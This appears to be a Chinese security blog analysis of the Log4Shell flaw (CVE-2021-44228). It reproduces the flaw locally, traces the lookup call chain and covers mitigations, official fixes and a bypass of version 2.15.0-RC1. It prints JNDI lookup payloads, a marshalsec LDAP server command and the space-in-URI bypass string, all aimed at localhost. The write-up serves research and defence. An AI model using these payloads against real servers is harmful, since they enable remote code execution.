CVE-2021-44228 log4j2 RCE 分析
使用Java 8u181
漏洞简介
Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入log4j-core这个jar。若存在应用使用,极大可能会受到影响。
Exploit 复现
漏洞复现代码
采用Maven构建Trigger项目
引入org.apache.logging.log4j
版本2.14.1
包
触发代码,只要logger使用了可记录等级进行记录,就会触发漏洞
1 | import org.apache.logging.log4j.LogManager; |
JNDI Payload 代码
1 | import java.io.BufferedReader; |
编译这段代码以便后续的JNDI调用使用,触发构造方法执行命令
漏洞触发
典型的使用JNDI进行触发
首先在class文件处开启HTTP服务
然后利用marshalsec开启LDAP服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit |
运行main函数,成功触发
漏洞原理分析
代码利用链分析
由于我们知道是JNDI注入,因此在javax.naming.InitialContext
的构造方法处下断点
文件位于rt.jar/javax/naming/InitialContext.java
成功抓到断点
调用栈信息如下
我们知道要触发JNDI漏洞必须要通过lookup函数,从JndiLookup.lookup
函数向上回溯
我们往Payload加入一些杂物,看看什么时候聚焦到payload ${jndi:ldap://127.0.0.1:1389/#Exploit}
可以发现substitute
会将payload AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB
解引用变成JNDI URIldap://127.0.0.1:1389/#Exploit
除此之外,我们可以发现resolveVariable
用于处理使用${}
包裹的变量
再继续往上回溯,可以发现如下一段代码
可以发现只要遇到${
则开始调用StrSubstuitutor的replace方法进行解析
漏洞深入分析
log4j2的三大组件
- Logger 日志记录器
- Appender 日志输出
- Layout 日志格式化
继续分析前面得到的调用栈,可以发现
在log4j2中通过LoggerConfig.processLogEvent()
处理日志事件,主要部分在调用callAppenders()
即调用Appender
Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
Appender调用Layout获取日志格式,通过Layout.encode()
进行日志的格式化
Layout会获取formatters来完成具体的格式化
处理传入的message通过MessagePatternConverter.format()
,也是本次漏洞的关键之处。当config存在并且noLookups为false,匹配到${'
则调用workingBuilder.append()
获取StrSubstitutor内容来替换原来的信息。
可以发现此处有个noLookups,是一个配置值,默认为false,之后我们研究下如何利用它进行防御
再往前看,然后是StrSubstitutor.resolveVariable()
进行解析,可以发现支持这些协议
其中就包含了JNDI
安全缓解措施 - 利用系统配置禁止LookUp
noLookups通过交叉引用可以找到
这里先一种最简单的——直接代码增加配置
1 | import org.apache.logging.log4j.LogManager; |
再次运行,可以发现不会对${jndi:ldap://127.0.0.1:1389/#Exploit}
进行解析
除此之外,也可以通过properties文件或命令行进行配置
安全缓解措施 - 通过log4j2的配置文件禁止LookUp
我认为这是除了升级外最好的方法
除了XML还支持其它格式,以XML为例,在resource中创建log4j2.xml
,一个能禁止LookUp的最小可用配置如下
1 |
|
拓展思考 - log4j2为什么需要JNDI功能
在Log4j – Configuring Log4j 2 - Apache Log4j 2找到Property Substitution(属性替换)功能,以通过本地之外的来源获取属性,使日志信息更加丰富
由于开发者没有考虑到JNDI的潜在危害,因此没有将其默认配置值设置为不加载也没有对JNDI来源地址进行限制
其它拓展
常见的假阳性结果
许多测试者通过DNS信息来判断是否发生了解析,以此来确定漏洞是否触发,这是不严谨的,许多公共服务都可能对这个地址进行DNS查询,用于垃圾拦截等功能,这不能代表其成功触发了漏洞
比较好的方式是在子域名中添加一个内嵌查询,如${sys:java.version}
防御方法
- 升级log4j core的最新版本
- 在配置文件中的Layout设置禁止LookUp
- 在系统配置中将设置
formatMsgNoLookups
为true,禁止LookUp
官方的修复方法
在2.15.0已默认禁用Message里的Lookups,并且默认限制了JNDI以及LDAP可以获取的类
除此之外,在2.16.0,默认禁用JNDI,需要使用log4j.enableJndi
来启用
彻底移除在Message中的LookUps支持
log4j 2.15.0-RC1绕过
Google了解到2.15.0-RC1这个候选发行版仍然存在可以被Bypass的可能性
编译log4j 2.15.0-RC1
由于RC版本现在在Maven仓库已经没有了,所有只能去GitHub手动获取源代码进行编译
下载源代码后,根据README,先配置toolschains,调整jdk位置,由于只需要jdk1.8的包,只使用1.8的toolchain,其它注释掉
由于不需要编译所有包,在pom.xml
中找到modules
将不需要的包注释,仅保留log4j-core
和log4j-api
1 | <modules> |
使用如下mvn指令编译
-t toolchains-sample-mac.xml
指定toolchains文件-Dmaven.test.skip=true
跳过测试-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099
使用代理加速
1 | # JAVA_HOME设置为jdk1.8 |
编译完成后生成的artifact(jar包)在各个module的target文件夹中
利用链分析
在pom.xml修改log4j-core版本为2.15.0,然后将编译出来的jar包全部替换进去
由于2.15.0版本中默认禁用了LookUp,我们首先需要通过配置将其打开
修改log4j2.xml
配置
1 |
|
此时,Payload如下可以被解析
1 | ${sys:java.version} |
但是JNDI Payload不会被解析
1 | ${jndi:ldap://ip:1389/#Exploit} |
由于我们知道现在${}
还是会解析,但是jndi受限制,所以根据之前的分析,我们前往StrSubstitutor.resolveVariable()
看看变量解析的工作流程
进入lookup()
我们可以发现JNDI其实还是可以解析的,再进入一层lookup
,观察JNDI内部受到了什么限制
继续进入jndiManager的lookup
可以发现,首先使用了一些协议和来源地址的限制
来源地址可以发现是本机的一些IP,此时假设来源地址的限制也不影响我们,我们也是在本地做测试,并且ldap也在允许的协议中
可以发现此处禁止了引用对象的使用,检查方法是attributeMap.get(OBJECT_FACTORY)!=null
除此之外,还限制了JNDI的另一种利用方式——反序列化,其通过allowedClasses
将可以反序列化的类型限制在了Java的几个基本类型
虽然局部看起来很完美,但是代码的异常捕捉逻辑有问题,可以看到如下
如果出现URI语法错误,就可以直接触发异常处理并进入lookup,那要如何让URI出错又能正常lookup呢?
只需往URI中加一个无URL编码的空格即可,lookup的时候会忽略这个空格,我们把payload改为
1 | ${jndi:ldap://127.0.0.1:1389/# Exploit} |
可以发现成功触发命令执行
绕过总结
此处绕过的条件较为苛刻,必须满足如下两个条件
- 开发者主动开启lookups功能
- LDAP来源地址必须在白名单中,而默认白名单为本机地址
参考
- Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228 - YouTube
- https://logging.apache.org/log4j/2.x/changes-report.html
- log4j2 漏洞分析与思考 (seebug.org)
- Apache Log4j2 远程代码执行漏洞分析 - 安全客,安全资讯平台 (anquanke.com)
- Log4j – Configuring Log4j 2 (apache.org)
- Apache Log4j2从RCE到RC1绕过 - 先知社区 (aliyun.com)
- JNDI with LDAP - 安全客,安全资讯平台 (anquanke.com)
- Serializable Objects (oracle.com)
- Referenceable Objects and References (oracle.com)
- 跟风蹭热度编译个logging-log4j2包-jdk11 (icode9.com)
CVE-2021-44228 log4j2 RCE 分析